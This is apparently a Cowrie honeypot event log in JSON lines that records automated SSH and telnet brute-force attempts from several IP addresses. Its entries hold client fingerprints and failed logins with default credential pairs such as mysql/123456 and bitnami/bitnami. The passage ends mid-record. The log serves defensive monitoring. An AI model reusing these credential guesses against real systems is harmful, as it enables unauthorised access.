{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami","message":"login attempt [bitnami/bitnami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:54.208137Z","src_ip":"45.156.87.69","session":"e951576e9234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:55.384012Z","src_ip":"45.156.87.69","session":"e951576e9234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50280,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbac2345c95a","protocol":"telnet","message":"New connection: 152.42.224.71:50280 (10.17.0.5:23) [session: cbac2345c95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:56.509513Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":55598,"dst_ip":"159.203.135.109","dst_port":22,"session":"096b18b3af40","protocol":"ssh","message":"New connection: 45.156.87.69:55598 (159.203.135.109:22) [session: 096b18b3af40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:56.858166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:57.019663Z","src_ip":"45.156.87.69","session":"096b18b3af40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:57.023668Z","src_ip":"45.156.87.69","session":"096b18b3af40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"P@ssw0rd","message":"login attempt [uftp/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:57.722934Z","src_ip":"45.156.87.69","session":"096b18b3af40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50292,"dst_ip":"10.17.0.5","dst_port":23,"session":"9388b183ed11","protocol":"telnet","message":"New connection: 152.42.224.71:50292 (10.17.0.5:23) [session: 9388b183ed11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:58.228217Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:58.913293Z","src_ip":"45.156.87.69","session":"096b18b3af40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":55612,"dst_ip":"159.203.135.109","dst_port":22,"session":"17e2d1b17c21","protocol":"ssh","message":"New connection: 45.156.87.69:55612 (159.203.135.109:22) [session: 17e2d1b17c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:00.677537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:00.682871Z","src_ip":"45.156.87.69","session":"17e2d1b17c21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:00.801677Z","src_ip":"45.156.87.69","session":"17e2d1b17c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:01.261342Z","src_ip":"45.156.87.69","session":"17e2d1b17c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:02.438004Z","src_ip":"45.156.87.69","session":"17e2d1b17c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":55616,"dst_ip":"159.203.135.109","dst_port":22,"session":"e185231e971a","protocol":"ssh","message":"New connection: 45.156.87.69:55616 (159.203.135.109:22) [session: e185231e971a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:04.151561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:04.212964Z","src_ip":"45.156.87.69","session":"e185231e971a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:04.302795Z","src_ip":"45.156.87.69","session":"e185231e971a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0009913444519,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:04.619845Z","src_ip":"186.193.55.224","session":"6074680b7581","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"david","password":"123","message":"login attempt [david/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:04.921206Z","src_ip":"45.156.87.69","session":"e185231e971a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0011203289032,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:05.016011Z","src_ip":"186.193.55.224","session":"f466181e9b3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.193.55.224","src_port":23286,"dst_ip":"159.203.135.109","dst_port":23,"session":"abbec4a546f3","protocol":"telnet","message":"New connection: 186.193.55.224:23286 (159.203.135.109:23) [session: abbec4a546f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:05.860413Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:06.071617Z","src_ip":"45.156.87.69","session":"e185231e971a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":51078,"dst_ip":"159.203.135.109","dst_port":22,"session":"c973aff9463c","protocol":"ssh","message":"New connection: 45.156.87.69:51078 (159.203.135.109:22) [session: c973aff9463c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:07.690229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:07.722282Z","src_ip":"45.156.87.69","session":"c973aff9463c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:07.830156Z","src_ip":"45.156.87.69","session":"c973aff9463c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.193.55.224","src_port":30909,"dst_ip":"159.203.135.109","dst_port":23,"session":"2779ff81efb6","protocol":"telnet","message":"New connection: 186.193.55.224:30909 (159.203.135.109:23) [session: 2779ff81efb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:08.292227Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1111","message":"login attempt [ftpuser/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:08.468658Z","src_ip":"45.156.87.69","session":"c973aff9463c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:09.566184Z","src_ip":"45.156.87.69","session":"c973aff9463c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":48690,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e699b3b0dec","protocol":"ssh","message":"New connection: 193.32.162.145:48690 (10.17.0.5:22) [session: 4e699b3b0dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:09.747518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:09.752939Z","src_ip":"193.32.162.145","session":"4e699b3b0dec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:09.855654Z","src_ip":"193.32.162.145","session":"4e699b3b0dec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:10.229741Z","src_ip":"193.32.162.145","session":"4e699b3b0dec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:11.368582Z","src_ip":"193.32.162.145","session":"4e699b3b0dec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":51084,"dst_ip":"159.203.135.109","dst_port":22,"session":"00936d53c857","protocol":"ssh","message":"New connection: 45.156.87.69:51084 (159.203.135.109:22) [session: 00936d53c857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:11.403153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:11.410138Z","src_ip":"45.156.87.69","session":"00936d53c857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:11.507244Z","src_ip":"45.156.87.69","session":"00936d53c857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:11.808127Z","src_ip":"45.156.87.69","session":"00936d53c857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:12.931906Z","src_ip":"45.156.87.69","session":"00936d53c857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":51090,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa996cf22b47","protocol":"ssh","message":"New connection: 45.156.87.69:51090 (159.203.135.109:22) [session: fa996cf22b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:14.789630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:14.798256Z","src_ip":"45.156.87.69","session":"fa996cf22b47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:14.901509Z","src_ip":"45.156.87.69","session":"fa996cf22b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kiran","password":"kiran","message":"login attempt [kiran/kiran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:15.211154Z","src_ip":"45.156.87.69","session":"fa996cf22b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52710,"dst_ip":"10.17.0.5","dst_port":23,"session":"436898542472","protocol":"telnet","message":"New connection: 152.42.224.71:52710 (10.17.0.5:23) [session: 436898542472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:15.817673Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:16.307720Z","src_ip":"45.156.87.69","session":"fa996cf22b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":12078,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca72f0789502","protocol":"ssh","message":"New connection: 45.156.87.69:12078 (159.203.135.109:22) [session: ca72f0789502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:18.208556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:18.213711Z","src_ip":"45.156.87.69","session":"ca72f0789502","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","e